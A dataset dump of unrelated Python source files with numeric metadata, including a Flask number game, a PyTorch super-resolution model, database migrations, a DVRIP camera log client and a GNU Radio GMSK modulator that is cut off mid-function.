value="Next Number" /> </form> <p>Previous Numbers:</p> <pre>{' '.join(previous_numbers)}</pre> <br /> <br /> <form action="/reset"> <input type="submit" class="button reset" onclick="return confirm('Are you sure?')" value="Reset" /> </form> </body> </html> """ except IndexError: return redirect("/gameover", code=302) except NameError: return redirect("/", code=302) @app.route("/gameover") def gameover(): return f""" <html> <style> body {{ font-family: Helvetica, Arial, Sans-Serif; text-align: center; background-color: black; color: white; }} pre {{ white-space: pre-wrap; font-size: 50px; }} .gameover {{ font-size: 50px; }} .button {{ background-color: #f44336; border: none; color: white; padding: 15px 32px; text-align: center; text-decoration: none; display: inline-block; font-size: 16px; }} </style> <body> <span class="gameover">Game over!!!</span><br /> <form action="/reset"> <input type="submit" class="button reset" value="Reset" /> </form> <p>Previous Numbers:</p> <pre>{' '.join(previous_numbers)}</pre> </body> </html> """ @app.route("/increment") def increment(): try: number = choice(numbers) previous_numbers.append(str(number)) numbers.remove(number) return redirect("/play", code=302) except IndexError: return redirect("/gameover", code=302) @app.route("/reset") def reset(): init() return redirect("/increment", code=302)

27.524793

83

0.444828

666

6,661

4.432432

0.557057

0.045732

0.020325

0.022358

0.282182

0.264905

0.245935

0.215447

0

0.058281

0.397238

6,661

241

84

27.639004

0.676961

0

0.394619

0

0.689236

0.024171

0

1

0.026906

false

0

0.008969

0.004484

0.076233

0

null

0

1

0

null

0

1

e781adebfb42f45b3f7887c33eb51a95aeb10fb8

2,010

py

Python

gd/config.py

josenavas/glowing-dangerzone

ef691aab06bf87797f3222f9e064356679ce3188

[ "BSD-3-Clause" ]

null

gd/config.py

josenavas/glowing-dangerzone

ef691aab06bf87797f3222f9e064356679ce3188

[ "BSD-3-Clause" ]

null

gd/config.py

josenavas/glowing-dangerzone

ef691aab06bf87797f3222f9e064356679ce3188

[ "BSD-3-Clause" ]

null

# ----------------------------------------------------------------------------- # Copyright (c) 2014--, The biocore Development Team. # # Distributed under the terms of the BSD 3-clause License. # # The full license is in the file LICENSE, distributed with this software. # ----------------------------------------------------------------------------- from os import environ from os.path import dirname, abspath, join from future import standard_library with standard_library.hooks(): from configparser import ConfigParser class GDConfig(object): """Holds the glowing-dangerzone configuration Attributes ---------- user : str The postgres user to connect to the postgres server password : str The password for the previous user database : str The database to connect to host : str The host where the postgres server lives port : str The port to use to connect to the postgres server admin_user : str The administrator user to connect to the postgres server admin_password : str The password for the administrator user """ def __init__(self): # If GD_CONFIG_FP is not set, default to the example in the repo try: conf_fp = environ['GD_CONFIG_FP'] except KeyError: conf_fp = join(dirname(abspath(__file__)), 'support_files', 'config.txt') # parse the config bits config = ConfigParser() with open(conf_fp) as f: config.readfp(f) self.user = config.get('postgres', 'USER') self.password = config.get('postgres', 'PASSWORD') or None self.database = config.get('postgres', 'DATABASE') self.host = config.get('postgres', 'HOST') self.port = config.getint('postgres', 'PORT') self.admin_user = config.get('postgres', 'ADMIN_USER') or None self.admin_password = config.get('postgres', 'ADMIN_PASSWORD') or None gd_config = GDConfig()

33.5

79

0.595522

236

2,010

4.966102

0.377119

0.035836

0.087031

0.035836

0.134812

0.087031

0

0.003309

0.248259

2,010

59

80

34.067797

0.772336

0.457711

0

0.142006

0

1

0.043478

false

0.086957

0.173913

0

0.26087

0

null

0

null

0

1

0

1

e78424b14306bfa799fb3574d99aac50146668c6

7,380

py

Python

src/model/rfdn_old.py

yamengxi/EDSR-PyTorch

c99fa78bb57f62a0a317b0875ead79b78a2cb51f

[ "MIT" ]

null

src/model/rfdn_old.py

yamengxi/EDSR-PyTorch

c99fa78bb57f62a0a317b0875ead79b78a2cb51f

[ "MIT" ]

null

src/model/rfdn_old.py

yamengxi/EDSR-PyTorch

c99fa78bb57f62a0a317b0875ead79b78a2cb51f

[ "MIT" ]

null

from math import gcd import torch import torch.nn as nn import torch.nn.functional as F from model import common def make_model(args, parent=False): return RFDN(args) def generate_masks(num): masks = [] for i in range(num): now = list(range(2 ** num)) length = 2 ** (num - i) for j in range(2 ** i): tmp = now[j*length:j*length+length//2] now[j*length:j*length+length//2] = now[j*length+length//2:j*length+length] now[j*length+length//2:j*length+length] = tmp masks.append(now) return torch.tensor(masks) class ButterflyConv_v1(nn.Module): def __init__(self, in_channels, act, out_channels, dilation=1): super(ButterflyConv_v1, self).__init__() min_channels = min(in_channels, out_channels) assert (min_channels & (min_channels - 1)) == 0 # Is min_channels = 2^n? if in_channels == out_channels: self.head = nn.Identity() self.tail = nn.Identity() elif in_channels > out_channels: self.head = nn.Sequential( nn.Conv2d(in_channels, out_channels, 3, 1, dilation, dilation, groups=gcd(in_channels, out_channels)), act() ) self.tail = nn.Identity() elif in_channels < out_channels: self.head = nn.Identity() self.tail = nn.Sequential( nn.Conv2d(in_channels, out_channels, 3, 1, dilation, dilation, groups=gcd(in_channels, out_channels)), act() ) else: raise NotImplementedError("") self.num_butterflies = 0 for i in range(10000): if 2 ** i == min_channels: self.num_butterflies = i break self.masks = generate_masks(self.num_butterflies) self.conv_acts = [] for i in range(self.num_butterflies * 2): self.conv_acts.append( nn.Sequential(nn.Conv2d(min_channels, min_channels, 3, 1, dilation, dilation, groups=min_channels), act()) ) self.conv_acts = nn.Sequential(*self.conv_acts) def forward(self, x): self.masks = self.masks.to(x.device) x = self.head(x) now = x for i in range(self.num_butterflies): now = self.conv_acts[i*2](now) + self.conv_acts[i*2+1](torch.index_select(now, 1, self.masks[i])) now = now + x now = self.tail(now) return now class SRB(nn.Module): def __init__(self, in_channels, act, *args): super(SRB, self).__init__() self.conv3x3 = nn.Conv2d(in_channels, in_channels, 3, 1, 1) self.act = act() def forward(self, x): out = self.conv3x3(x) + x out = self.act(out) return out class MainBlock(nn.Module): def __init__(self, in_channels, act, basic_module): super(MainBlock, self).__init__() self.steps = 3 self.convs = [] for i in range(self.steps): self.convs.append(nn.Conv2d(in_channels, in_channels // 2, 1, 1, 0)) self.convs = nn.Sequential(*self.convs) self.basic_modules = [] for i in range(self.steps): self.basic_modules.append(basic_module(in_channels, act, in_channels)) self.basic_modules = nn.Sequential(*self.basic_modules) self.conv3x3 = nn.Conv2d(in_channels, in_channels // 2, 3, 1, 1) self.conv1x1 = nn.Conv2d(in_channels * 2, in_channels, 1, 1, 0) self.act = act() def forward(self, x): now = x features = [] for i in range(self.steps): features.append(self.convs[i](now)) now = self.basic_modules[i](now) now = self.conv3x3(now) features.append(now) features = torch.cat(features, 1) out = self.conv1x1(features) out = self.act(out) return out + x class RFDN(nn.Module): """RFDN network structure. Args: args.scale (list[int]): Upsampling scale for the input image. args.n_colors (int): Channels of the input image. args.n_feats (int): Channels of the mid layer. args.n_resblocks (int): Number of main blocks. args.act (str): Activate function used in BFN. Default: nn.PReLU. args.rgb_range: . args.main_block_version: args.butterfly_conv_version: args.skip_connection (bool):. """ def __init__(self, args): super(RFDN, self).__init__() assert len(args.scale) == 1 scale = args.scale[0] n_colors = args.n_colors n_feats = args.n_feats n_resblocks = args.n_resblocks if args.act == 'relu': act = nn.ReLU elif args.act == 'lrelu': act = nn.LeakyReLU elif args.act == 'prelu': act = nn.PReLU else: raise NotImplementedError("") if args.basic_module_version == 'v1': basic_module = SRB elif args.basic_module_version == 'v2': basic_module = ButterflyConv_v1 else: raise NotImplementedError("") rgb_range = args.rgb_range # RGB mean for DIV2K rgb_mean = (0.4488, 0.4371, 0.4040) rgb_std = (1.0, 1.0, 1.0) self.sub_mean = common.MeanShift(rgb_range, rgb_mean, rgb_std) self.head = nn.Conv2d(n_colors, n_feats, 3, 1, 1) self.main_blocks = [] for i in range(n_resblocks): self.main_blocks.append(MainBlock(n_feats, act, basic_module)) self.main_blocks = nn.Sequential(*self.main_blocks) self.features_fusion_module = nn.Sequential( nn.Conv2d(n_feats * n_resblocks, n_feats, 1, 1, 0), act() ) self.final_conv = nn.Conv2d(n_feats, n_feats, 3, 1, 1) self.upsampler = nn.Sequential( nn.Conv2d(n_feats, n_colors * (scale * scale), 3, 1, 1), nn.PixelShuffle(scale) ) self.add_mean = common.MeanShift(rgb_range, rgb_mean, rgb_std, 1) def forward(self, x): x = self.sub_mean(x) x = self.head(x) now = x outs = [] for main_block in self.main_blocks: now = main_block(now) outs.append(now) out = torch.cat(outs, 1) out = self.features_fusion_module(out) out = self.final_conv(out) + x out = self.upsampler(out) out = self.add_mean(out) return out if __name__ == '__main__': # test network import os os.environ['CUDA_VISIBLE_DEVICES'] = '1' import argparse args = argparse.Namespace() args.scale = [2] args.patch_size = 256 args.n_colors = 3 args.n_feats = 48 args.n_resblocks = 6 args.act = 'lrelu' args.rgb_range = 255 args.basic_module_version = 'v1' # args.scale = [2] # args.patch_size = 256 # args.n_colors = 3 # args.n_feats = 64 # args.n_resblocks = 6 # args.act = 'lrelu' # args.rgb_range = 255 # args.basic_module_version = 'v2' # import pdb # pdb.set_trace() model = RFDN(args) model.eval() from torchsummaryX import summary x = summary(model.cuda(), torch.zeros((1, 3, 720 // 4, 1280 // 4)).cuda()) # from torchsummary import summary # summary(model.cuda(), input_size=(3, 720 // 4, 1280 // 4), batch_size=1)

30

122

0.577642

985

7,380

4.143147

0.163452

0.051458

0.011762

0.021563

0.361431

0.331536

0.286449

0.22764

0.172752

0.153149

0

0.030922

0.303252

7,380

245

123

30.122449

0.762738

0.10813

0

0.195266

1

0

0.008286

0

0.011834

1

0.059172

false

0

0.047337

0.005917

0.16568

0

null

0

1

0

null

0

1

e784bdd424c3f8231790a74c4c0cceee56ac71b8

2,811

py

Python

mlsurvey/sl/workflows/tasks/split_data.py

jlaumonier/mlsurvey

373598d067c7f0930ba13fe8da9756ce26eecbaf

[ "MIT" ]

null

mlsurvey/sl/workflows/tasks/split_data.py

jlaumonier/mlsurvey

373598d067c7f0930ba13fe8da9756ce26eecbaf

[ "MIT" ]

null

mlsurvey/sl/workflows/tasks/split_data.py

jlaumonier/mlsurvey

373598d067c7f0930ba13fe8da9756ce26eecbaf

[ "MIT" ]

null

from kedro.pipeline import node from mlsurvey.workflows.tasks import BaseTask class SplitDataTask(BaseTask): """ split data from prepared data (train/test) """ @classmethod def get_node(cls): return node(SplitDataTask.split_data, inputs=['config', 'log', 'raw_data', 'prepared_data'], outputs=['train_data', 'test_data', 'train_raw_data', 'test_raw_data']) @staticmethod def split_data(config, log, raw_data, prepared_data): """ split the data for training/testing process. At the moment, only the split 'traintest' to split into train and test set is supported """ split_params = config.data['learning_process']['parameters']['split'] if split_params['type'] == 'traintest': # TODO test shuffle False if split_params['parameters']['shuffle']: df_test = prepared_data.df.sample(frac=split_params['parameters']['test_size'] / len(prepared_data.df), random_state=split_params['parameters']['random_state']) else: df_test = prepared_data.df.head(len(prepared_data.df) * split_params['parameters']['test_size']) df_train = prepared_data.df.drop(df_test.index) data_train = prepared_data.copy_with_new_data_dataframe(df_train) data_test = prepared_data.copy_with_new_data_dataframe(df_test) raw_data_train_df = raw_data.df.iloc[data_train.df.index] raw_data_train = raw_data.copy_with_new_data_dataframe(raw_data_train_df) raw_data_test_df = raw_data.df.iloc[data_test.df.index] raw_data_test = raw_data.copy_with_new_data_dataframe(raw_data_test_df) # reindex data_train.df.reset_index(drop=True, inplace=True) data_test.df.reset_index(drop=True, inplace=True) raw_data_train.df.reset_index(drop=True, inplace=True) raw_data_test.df.reset_index(drop=True, inplace=True) data_to_save = {'train': data_train, 'test': data_test, 'raw_train': raw_data_train, 'raw_test': raw_data_test} SplitDataTask.log_inputs_outputs(log, data_to_save) return [data_train, data_test, raw_data_train, raw_data_test] @classmethod def log_inputs_outputs(cls, log, d): # Log inside sub directory log.set_sub_dir(str(cls.__name__)) inputs = {'train': d['train'], 'test': d['test'], 'raw_train': d['raw_train'], 'raw_test': d['raw_test']} log.save_input(inputs, metadata_filename='split_data.json') log.set_sub_dir('')

42.590909

119

0.615439

352

2,811

4.5625

0.232955

0.087173

0.047945

0.03736

0.380448

0.273973

0.199253

0.14944

0

0.277481

2,811

65

120

43.246154

0.790743

0.083244

0

0.046512

0

0.114806

0

0.015385

0

1

0.069767

false

0

0.046512

0.023256

0.186047

0

null

0

null

0

1

0

1

e78f62fb09e2bbb8eb8ee9208fe99efffe0f65df

764

py

Python

hackathon/migrations/0040_auto_20210225_1656.py

auxfuse/ci-hackathon-app

87d5ad7aae33c15f535ceed28e1657a014159516

[ "MIT" ]

11

2020-10-06T13:50:46.000Z

2021-02-27T20:19:17.000Z

hackathon/migrations/0040_auto_20210225_1656.py

auxfuse/ci-hackathon-app

87d5ad7aae33c15f535ceed28e1657a014159516

[ "MIT" ]

174

2020-10-13T18:25:34.000Z

2022-01-17T09:49:18.000Z

hackathon/migrations/0040_auto_20210225_1656.py

auxfuse/ci-hackathon-app

87d5ad7aae33c15f535ceed28e1657a014159516

[ "MIT" ]

46

2020-10-14T11:27:20.000Z

2022-01-31T17:48:12.000Z

# Generated by Django 3.1.3 on 2021-02-25 16:56 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('hackathon', '0039_auto_20210224_1850'), ] operations = [ migrations.AddField( model_name='hackathon', name='tag_line', field=models.CharField(default='', help_text='Short description which will be displayed in the Hackathon List view.', max_length=254), ), migrations.AlterField( model_name='hackathon', name='description', field=models.TextField(help_text='Longer description which will be displayed in the Hackathon Detail view. Usually includes schedule and other details.'), ), ]

31.833333

166

0.645288

86

764

5.627907

0.674419

0.03719

0.07438

0.090909

0.18595

0

0.059859

0.256545

764

23

167

33.217391

0.792254

0.058901

0

0.235294

1

0

0.355649

0.032078

0

1

0

false

0

0.058824

0

0.235294

0

null

0

1

0

null

0

1

e793b8c6c2db37656d49f422576a00f5c293a6c7

764

py

Python

qal/transformation/tests/test_transformation.py

OptimalBPM/qal

4d7a31c0d68042b4110e1fa3e733711e0fdd473e

[ "Unlicense" ]

3

2016-05-02T14:35:55.000Z

2021-08-31T14:19:15.000Z

qal/transformation/tests/test_transformation.py

OptimalBPM/qal

4d7a31c0d68042b4110e1fa3e733711e0fdd473e

[ "Unlicense" ]

null

qal/transformation/tests/test_transformation.py

OptimalBPM/qal

4d7a31c0d68042b4110e1fa3e733711e0fdd473e

[ "Unlicense" ]

1

2018-03-18T13:19:52.000Z

import json import os from jsonschema.validators import Draft4Validator from qal.transformation import generate_schema __author__ = 'nibo' import unittest Test_Script_Dir = os.path.dirname(__file__) Test_Resource_Dir = os.path.join(Test_Script_Dir, 'resources') class MyTestCase(unittest.TestCase): def test_json_schema(self): """This test will actually generate the schema for all classes in the transformation module""" _schema = generate_schema() f_out = open(os.path.join(Test_Resource_Dir, "../../../", "schema/transformation.json"), "w") json.dump(obj=_schema, fp=f_out, sort_keys=True, indent=4) f_out.close() Draft4Validator.check_schema(_schema) if __name__ == '__main__': unittest.main()

26.344828

102

0.721204

99

764

5.20202

0.545455

0.034951

0.050485

0.054369

0

0.004717

0.167539

764

28

103

27.285714

0.805031

0.115183

0

1

0

0.085075

0.038806

0

1

0.058824

false

0

0.294118

0

0.411765

0

null

0

1

0

null

0

1

e79800f262cb9ba9ad9c992c22e0ce9c0d9971e1

2,219

py

Python

verification/alembic/versions/398d6252cdce_baseline.py

DhivakharVenkatachalam/snet-marketplace-service

6aee606bc9b00d418caeae26c64deae03792e0ce

[ "MIT" ]

14

2019-02-12T09:14:52.000Z

2021-03-11T18:42:22.000Z

verification/alembic/versions/398d6252cdce_baseline.py

prashantramangupta/snet-marketplace-service

7c293054e4b0207deefecc46defd743c064472a4

[ "MIT" ]

1,079

2019-01-10T04:31:24.000Z

2022-03-29T06:16:42.000Z

verification/alembic/versions/398d6252cdce_baseline.py

prashantramangupta/snet-marketplace-service

7c293054e4b0207deefecc46defd743c064472a4

[ "MIT" ]

20

2018-12-18T13:06:41.000Z

2021-09-17T11:13:01.000Z

"""baseline Revision ID: 398d6252cdce Revises: Create Date: 2020-03-12 10:10:15.689958 """ import sqlalchemy as sa from alembic import op from sqlalchemy.dialects import mysql # revision identifiers, used by Alembic. revision = '398d6252cdce' down_revision = None branch_labels = None depends_on = None def upgrade(): # ### commands auto generated by Alembic - please adjust! ### op.create_table('jumio_verification', sa.Column('row_id', sa.Integer(), autoincrement=True, nullable=False), sa.Column('verification_id', mysql.VARCHAR(length=255), nullable=True), sa.Column('username', mysql.VARCHAR(length=255), nullable=True), sa.Column('jumio_reference_id', mysql.VARCHAR(length=255), nullable=True), sa.Column('user_reference_id', mysql.VARCHAR(length=255), nullable=True), sa.Column('redirect_url', mysql.VARCHAR(length=1024), nullable=True), sa.Column('transaction_status', mysql.VARCHAR(length=255), nullable=True), sa.Column('verification_status', mysql.VARCHAR(length=255), nullable=True), sa.Column('reject_reason', sa.JSON(), nullable=True), sa.Column('transaction_date', mysql.TIMESTAMP(), nullable=True), sa.Column('callback_date', mysql.TIMESTAMP(), nullable=True), sa.Column('created_at', mysql.TIMESTAMP(), nullable=True), sa.PrimaryKeyConstraint('row_id') ) op.create_table('verification', sa.Column('id', mysql.VARCHAR(length=225), nullable=False), sa.Column('verification_type', mysql.VARCHAR(length=225), nullable=False), sa.Column('entity_id', mysql.VARCHAR(length=255), nullable=True), sa.Column('status', mysql.VARCHAR(length=255), nullable=True), sa.Column('requestee', mysql.VARCHAR(length=255), nullable=True), sa.Column('reject_reason', mysql.VARCHAR(length=1024), nullable=True), sa.Column('created_at', mysql.TIMESTAMP(), nullable=True), sa.Column('updated_at', mysql.TIMESTAMP(), nullable=True), sa.PrimaryKeyConstraint('id', 'verification_type') ) # ### end Alembic commands ### def downgrade(): # ### commands auto generated by Alembic - please adjust! ### op.drop_table('verification') op.drop_table('jumio_verification') # ### end Alembic commands ###

40.345455

79

0.713384

280

2,219

5.55

0.267857

0.10296

0.153153

0.19305

0.647362

0.591377

0.587516

0.506435

0.328185

0.208494

0

0.03876

0.127986

2,219

54

80

41.092593

0.764341

0.125282

0

0.054054

0

0.177521

0

1

0.054054

false

0

0.081081

0

0.135135

0

null

0

1

0

null

0

1

e798df9c3613a25e49d4f31b12f398095cbd43e5

1,470

py

Python

dvrip/cmd/log.py

alexshpilkin/xmeye

e76df1d091d85aa6cffb5c332ba6ae419ac9ac89

[ "CC0-1.0" ]

34

2019-05-04T06:06:17.000Z

2021-12-06T03:28:40.000Z

dvrip/cmd/log.py

alexshpilkin/xmeye

e76df1d091d85aa6cffb5c332ba6ae419ac9ac89

[ "CC0-1.0" ]

9

2019-06-17T09:37:50.000Z

2020-10-24T22:36:29.000Z

dvrip/cmd/log.py

alexshpilkin/xmeye

e76df1d091d85aa6cffb5c332ba6ae419ac9ac89

[ "CC0-1.0" ]

21

2019-06-17T09:34:27.000Z

2022-03-22T18:14:22.000Z

from datetime import datetime from getopt import GetoptError, getopt from socket import AF_INET, SOCK_STREAM, socket as Socket from sys import stderr from typing import List, NoReturn from ..io import DVRIPClient from ..message import EPOCH from . import EX_USAGE, guard, prog_connect def usage() -> NoReturn: print('Usage: {} log [-s START] [-e END]'.format(prog_connect()), file=stderr) exit(EX_USAGE) def run(host: str, serv: int, username: str, password: str, args: List[str] ) -> None: try: opts, args = getopt(args, 's:e:') except GetoptError: usage() if args: usage() start = EPOCH end = datetime.now() for opt, arg in opts: if opt == '-s': from dateparser import parse # type: ignore start = parse(arg) if start is None: usage() if opt == '-e': from dateparser import parse # type: ignore end = parse(arg) if end is None: usage() conn = DVRIPClient(Socket(AF_INET, SOCK_STREAM)) conn.connect((host, serv), username, password) try: for entry in conn.log(start=start, end=end): print('{:>8} {} {:>12} {}' .format(entry.number, entry.time.isoformat(), entry.type.name.lower(), entry.data)) finally: conn.logout() def main() -> None: from sys import argv from . import host, serv, username, password if host() is None: usage() guard(run, host(), serv(), username(), password(), argv[1:])

22.96875

66

0.62449

199

1,470

4.572864

0.366834

0.01978

0.036264

0.079121

0.076923

0

0.003591

0.242177

1,470

63

67

23.333333

0.813285

0.017007

0

0.166667

0

0.040915

0

1

0.055556

false

0.074074

0.222222

0

0.277778

0.037037

0

null

0

null

0

1

0

1

e7a3d90a6de6a45565b36fa144dea090e1ad04fd

872

py

Python

brainex/misc.py

ebuntel/BrainExTemp

991038155a6e9289af90da3d800210841ef23ff1

[ "MIT" ]

1

2020-09-04T16:15:26.000Z

brainex/misc.py

ebuntel/Brainextemp

991038155a6e9289af90da3d800210841ef23ff1

[ "MIT" ]

null

brainex/misc.py

ebuntel/Brainextemp

991038155a6e9289af90da3d800210841ef23ff1

[ "MIT" ]

null

import numpy as np def pr_red(skk): print("\033[91m {}\033[00m" .format(skk)) def prYellow(skk): print("\033[93m {}\033[00m" .format(skk)) def merge_dict(dicts: list): merged_dict = dict() merged_len = 0 for d in dicts: merged_len += len(d) merged_dict = {**merged_dict, **d} # make sure there is no replacement of elements try: assert merged_len == len(merged_dict) except AssertionError as ae: print(str(ae)) raise Exception('duplicate dict keys: dict item replaced!') return merged_dict def fd_workaround(): pr_red('Unable to install FastDTW, please run this command in the terminal to install the required package: ') pr_red('pip install git+git://github.com/ApocalyVec/fastdtw.git') def allUnique(x): seen = list() return not any(i in seen or seen.append(i) for i in x)

27.25

114

0.65711

133

872

4.210526

0.548872

0.089286

0.039286

0.053571

0.064286

0

0.031111

0.225917

872

32

115

27.25

0.798519

0.051606

0

0.282082

0.052058

0

0.086957

1

0.217391

false

0

0.043478

0

0.347826

0.130435

0

null

0

null

0

1

0

1

e7a8aa6b70456f5550774b4856cbe073e29b6d11

4,818

py

Python

test/test_modify_contact.py

EkaterinaPentjuhina/python_training

43f939cf690a91af9ec0fddfd18f9e3c55cfefb6

[ "Apache-2.0" ]

1

2020-06-08T17:16:29.000Z

test/test_modify_contact.py

EkaterinaPentjuhina/python_training

43f939cf690a91af9ec0fddfd18f9e3c55cfefb6

[ "Apache-2.0" ]

null

test/test_modify_contact.py

EkaterinaPentjuhina/python_training

43f939cf690a91af9ec0fddfd18f9e3c55cfefb6

[ "Apache-2.0" ]

null

from model.contact_properties import Contact import random import allure def test_edit_contact(app, db, check_ui): with allure.step('Given a non-empty contact list'): if len(db.get_contact_list()) == 0: app.contact.add_new(Contact(firstname="Ekaterina", middlename="Aleksandrovna", lastname="Pentjuhina", nickname="kate_penti", title="ttl", company="company", address="Kolomna", mobilephone="8-111-111-11-11", email="katkarach@gmail.com", homepage="hmpg.net", address2="address", phone2="home-phone", notes="notes", bday="14", bmonth="October", byear="1991", aday="1", amonth="January", ayear="2010")) old_contacts = db.get_contact_list() with allure.step('Given a random contact from the list'): contact = random.choice(old_contacts) with allure.step("Given new contact's data"): update_contact = Contact(firstname="Katerina", middlename="Aleksandrovna", lastname="Pentjuhina", nickname="kate_penti", title="ttl", company="company", address="Kolomna", mobilephone="8-111-111-11-11", email="katkarach@gmail.com", homepage="hmpg.net", address2="address", phone2="home-phone", notes="notes") with allure.step("When I modify the contact's properties"): app.contact.edit_contact_by_id(contact.id, update_contact) with allure.step('Then the new contact list is equal to the old contact list with the modified contact'): new_contacts = db.get_contact_list() assert len(old_contacts) == len(new_contacts) index = old_contacts.index(contact) old_contacts[index] = update_contact assert old_contacts == new_contacts if check_ui: assert sorted(new_contacts, key=Contact.id_or_max) == sorted(app.contact.get_contact_list(), key=Contact.id_or_max) # def test_edit_contact_firstname(app): # if app.contact.count() == 0: # app.contact.add_new(Contact(firstname="Ekaterina", middlename="Aleksandrovna", lastname="Pentjuhina", # nickname="kate_penti", title="ttl", company="company", address="Kolomna", # mobile="8-111-111-11-11", email="katkarach@gmail.com", homepage="hmpg.net", # address2="address", phone2="home-phone", notes="notes", bday="14", bmonth="October", # byear="1991", aday="1", amonth="January", ayear="2010")) # old_contacts = app.contact.get_contact_list() # app.contact.edit_first_contact(Contact(firstname="Kate")) # new_contacts = app.contact.get_contact_list() # assert len(old_contacts) == len(new_contacts) # def test_edit_contact_mobile(app): # if app.contact.count() == 0: # app.contact.add_new(Contact(firstname="Ekaterina", middlename="Aleksandrovna", lastname="Pentjuhina", # nickname="kate_penti", title="ttl", company="company", address="Kolomna", # mobile="8-111-111-11-11", email="katkarach@gmail.com", homepage="hmpg.net", # address2="address", phone2="home-phone", notes="notes", bday="14", bmonth="October", # byear="1991", aday="1", amonth="January", ayear="2010")) # old_contacts = app.contact.get_contact_list() # app.contact.edit_first_contact(Contact(mobile="8-222-222-22-22")) # new_contacts = app.contact.get_contact_list() # assert len(old_contacts) == len(new_contacts) # def test_edit_first_contact_from_details(app): # # редактирование контакта - переход к редактированию из формы просмотра деталей контакта # if app.contact.count() == 0: # app.contact.add_new(Contact(firstname="Ekaterina", middlename="Aleksandrovna", lastname="Pentjuhina", # nickname="kate_penti", title="ttl", company="company", address="Kolomna", # mobile="8-111-111-11-11", email="katkarach@gmail.com", homepage="hmpg.net", # address2="address", phone2="home-phone", notes="notes", bday="14", bmonth="October", # byear="1991", aday="1", amonth="January", ayear="2010")) # old_contacts = app.contact.get_contact_list() # app.contact.edit_first_contact_from_details(Contact(address="Saint-Petersburg")) # new_contacts = app.contact.get_contact_list() # assert len(old_contacts) == len(new_contacts) # def test_contact_details(app): # # просмотр деталей контакта # app.contact.view_details_of_first_contact()

62.571429

127

0.611872

553

4,818

5.166365

0.20434

0.066503

0.049002

0.715786

0.660483

0

0.034254

0.248651

4,818

76

128

63.394737

0.754972

0.565587

0

0.137931

0

0.234778

0

0.103448

1

0.034483

false

0

0.103448

0

0.137931

0

null

0

1

0

null

0

1

e7a92a95db912c80cf38633ff72e26c2c4e31c0b

10,690

py

Python

gnuradio-3.7.13.4/gr-digital/python/digital/gmsk.py

v1259397/cosmic-gnuradio

64c149520ac6a7d44179c3f4a38f38add45dd5dc

[ "BSD-3-Clause" ]

1

2021-03-09T07:32:37.000Z

gnuradio-3.7.13.4/gr-digital/python/digital/gmsk.py

v1259397/cosmic-gnuradio

64c149520ac6a7d44179c3f4a38f38add45dd5dc

[ "BSD-3-Clause" ]

null

gnuradio-3.7.13.4/gr-digital/python/digital/gmsk.py

v1259397/cosmic-gnuradio

64c149520ac6a7d44179c3f4a38f38add45dd5dc

[ "BSD-3-Clause" ]

null

# # GMSK modulation and demodulation. # # # Copyright 2005-2007,2012 Free Software Foundation, Inc. # # This file is part of GNU Radio # # GNU Radio is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 3, or (at your option) # any later version. # # GNU Radio is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with GNU Radio; see the file COPYING. If not, write to # the Free Software Foundation, Inc., 51 Franklin Street, # Boston, MA 02110-1301, USA. # # See gnuradio-examples/python/digital for examples from math import pi from pprint import pprint import inspect import numpy from gnuradio import gr, blocks, analog, filter import modulation_utils import digital_swig as digital # default values (used in __init__ and add_options) _def_samples_per_symbol = 2 _def_bt = 0.35 _def_verbose = False _def_log = False _def_gain_mu = None _def_mu = 0.5 _def_freq_error = 0.0 _def_omega_relative_limit = 0.005 # FIXME: Figure out how to make GMSK work with pfb_arb_resampler_fff for both # transmit and receive so we don't require integer samples per symbol. # ///////////////////////////////////////////////////////////////////////////// # GMSK modulator # ///////////////////////////////////////////////////////////////////////////// class gmsk_mod(gr.hier_block2): """ Hierarchical block for Gaussian Minimum Shift Key (GMSK) modulation. The input is a byte stream (unsigned char with packed bits) and the output is the complex modulated signal at baseband. Args: samples_per_symbol: samples per baud >= 2 (integer) bt: Gaussian filter bandwidth * symbol time (float) verbose: Print information about modulator? (boolean) log: Print modulation data to files? (boolean) """ def __init__(self, samples_per_symbol=_def_samples_per_symbol, bt=_def_bt, verbose=_def_verbose, log=_def_log): gr.hier_block2.__init__(self, "gmsk_mod", gr.io_signature(1, 1, gr.sizeof_char), # Input signature gr.io_signature(1, 1, gr.sizeof_gr_complex)) # Output signature samples_per_symbol = int(samples_per_symbol) self._samples_per_symbol = samples_per_symbol self._bt = bt self._differential = False if not isinstance(samples_per_symbol, int) or samples_per_symbol < 2: raise TypeError, ("samples_per_symbol must be an integer >= 2, is %r" % (samples_per_symbol,)) ntaps = 4 * samples_per_symbol # up to 3 bits in filter at once sensitivity = (pi / 2) / samples_per_symbol # phase change per bit = pi / 2 # Turn it into NRZ data. #self.nrz = digital.bytes_to_syms() self.unpack = blocks.packed_to_unpacked_bb(1, gr.GR_MSB_FIRST) self.nrz = digital.chunks_to_symbols_bf([-1, 1], 1) # Form Gaussian filter # Generate Gaussian response (Needs to be convolved with window below). self.gaussian_taps = filter.firdes.gaussian( 1, # gain samples_per_symbol, # symbol_rate bt, # bandwidth * symbol time ntaps # number of taps ) self.sqwave = (1,) * samples_per_symbol # rectangular window self.taps = numpy.convolve(numpy.array(self.gaussian_taps),numpy.array(self.sqwave)) self.gaussian_filter = filter.interp_fir_filter_fff(samples_per_symbol, self.taps) # FM modulation self.fmmod = analog.frequency_modulator_fc(sensitivity) if verbose: self._print_verbage() if log: self._setup_logging() # Connect & Initialize base class self.connect(self, self.unpack, self.nrz, self.gaussian_filter, self.fmmod, self) def samples_per_symbol(self): return self._samples_per_symbol @staticmethod def bits_per_symbol(self=None): # staticmethod that's also callable on an instance return 1 def _print_verbage(self): print "bits per symbol = %d" % self.bits_per_symbol() print "Gaussian filter bt = %.2f" % self._bt def _setup_logging(self): print "Modulation logging turned on." self.connect(self.nrz, blocks.file_sink(gr.sizeof_float, "nrz.dat")) self.connect(self.gaussian_filter, blocks.file_sink(gr.sizeof_float, "gaussian_filter.dat")) self.connect(self.fmmod, blocks.file_sink(gr.sizeof_gr_complex, "fmmod.dat")) @staticmethod def add_options(parser): """ Adds GMSK modulation-specific options to the standard parser """ parser.add_option("", "--bt", type="float", default=_def_bt, help="set bandwidth-time product [default=%default] (GMSK)") @staticmethod def extract_kwargs_from_options(options): """ Given command line options, create dictionary suitable for passing to __init__ """ return 